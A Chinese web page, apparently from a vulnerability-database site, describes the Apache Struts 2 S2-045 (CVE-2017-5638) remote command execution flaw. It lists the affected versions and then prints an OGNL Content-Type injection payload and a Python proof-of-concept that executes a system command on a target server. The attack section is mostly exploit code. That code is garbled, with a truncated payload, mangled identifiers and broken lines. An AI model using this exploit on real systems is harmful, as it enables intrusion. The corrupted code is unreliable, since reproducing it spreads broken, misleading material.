S2-045远程代码执⾏漏洞
Apache Struts 2被曝存在远程命令执⾏漏洞,漏洞编号S2-045,CVE编号CVE-2017-5638,在使⽤基于Jakarta插件的⽂件上传功能时,有可能存在远程命令执⾏,导致系统被⿊客⼊侵。恶意⽤户可在上传⽂件时通过修改HTTP请求头中的Content-Type值来触发该漏洞,进⽽执⾏系统命令。
影响范围
Struts 2.3.5 – Struts 2.3.31 Struts 2.5 – Struts 2.5.10
不受影响的范围
Struts 2.3.32 Struts 2.5.10.1
漏洞检测
payload:
%{(#test='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#c ontext['com.opensymphony.xwork2.Action
Content-Type插⼊如下检测脚本
查看回包:
可以看到上⾯我们构造的31337*31337成功执⾏
检测poc:
#! /usr/bin/env python
# encoding:utf-8
import urllib2
import sys
de import multipart_encode
from poster.streaminghttp import register_openers
def poc():
register_openers()cve漏洞库
datagen, header = multipart_encode({"image1": open("", "rb")})
header["User-Agent"]="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36" header["Content-Type"]="%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberA ccess=#dm):((#container=#context['com.opensymphony.ainer']).(#ognlUtil=#Instance(@com.opensymphony.l.OgnlUtil@class)).(#ExcludedPackageNames().clear()).(#ExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#c md='ifconfig').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'','/c',#cmd}:{'/bin/bash','-c',# cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext @getResponse().getOutputStream())).(@org.apachemons.io.IOUtils@copy(#InputStream(),#ros)).(#ros.flush())}"
request = urllib2.Request(str(sys.argv[1]),datagen,headers=header)
response = urllib2.urlopen(request)
ad()
poc()
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。
发表评论